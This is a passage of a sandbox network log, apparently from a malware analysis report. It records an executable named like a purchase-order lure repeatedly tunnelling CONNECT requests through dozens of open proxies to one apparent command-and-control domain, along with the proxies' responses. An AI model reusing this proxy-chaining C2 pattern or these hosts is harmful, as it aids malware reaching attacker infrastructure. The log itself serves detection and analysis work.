Mar 11, 2024 16:40:28.098200083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:40.098107100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:04.207873106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:52.219748974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1453	192.168.2.10	54432	18.185.169.150	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.787303925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.504698038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.808159113 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:52 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1454	192.168.2.10	54443	147.75.34.86	10008	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.787422895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489234924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.794420958 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1455	192.168.2.10	54418	58.234.116.197	8193	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.787735939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1456	192.168.2.10	54559	162.214.90.49	46430	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.788455963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.286051989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.989372015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.176871061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.489219904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.676750898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1457	192.168.2.10	53747	114.132.202.78	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.788827896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.350840092 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:52 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1458	192.168.2.10	54567	164.92.86.113	55651	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.789000988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.286030054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.989293098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.176779032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.286227942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.489274025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.583040953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.786331892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.176316977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1459	192.168.2.10	50295	139.99.148.90	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.789685011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.894001007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.575000048 CET	1286	IN	HTTP/1.1 407 Proxy Authentication Required Server: squid/3.5.20 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:55 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3811 X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en Proxy-Authenticate: Basic realm="Squid Basic Authentication" X-Cache: MISS from ns547184.ip-139-99-148.net X-Cache-Lookup: NONE from ns547184.ip-139-99-148.net:3128 Via: 1.1 ns547184.ip-139-99-148.net (squid/3.5.20) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 43 61 63 68 65 20 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Cache Access Denied</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1460	192.168.2.10	50492	194.124.36.75	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.795619011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.412699938 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1461	192.168.2.10	54470	201.91.82.155	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.797223091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.523602009 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1462	192.168.2.10	53826	82.66.245.82	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.797354937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.973251104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.996536016 CET	843	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:40:01 GMT Server: Apache/2.4.56 (Raspbian) Content-Length: 649 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 62 61 69 6c 6c 6f 65 75 69 6c 2e 64 79 6c 61 6e 40 6f 75 74 6c 6f 6f 6b 2e 66 72 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 52 61 73 70 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at bailloeuil.dylan@outlook.fr to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.56 (Raspbian) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1463	192.168.2.10	54511	46.17.63.166	10000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.798541069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.103940010 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1464	192.168.2.10	50659	188.165.213.106	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.800930977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.973267078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.989111900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.989191055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.082506895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:28.176286936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:40.176251888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:04.176372051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:52.207437992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1465	192.168.2.10	54488	39.105.27.30	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.801918030 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:52.143165112 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1466	192.168.2.10	54633	104.18.234.218	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
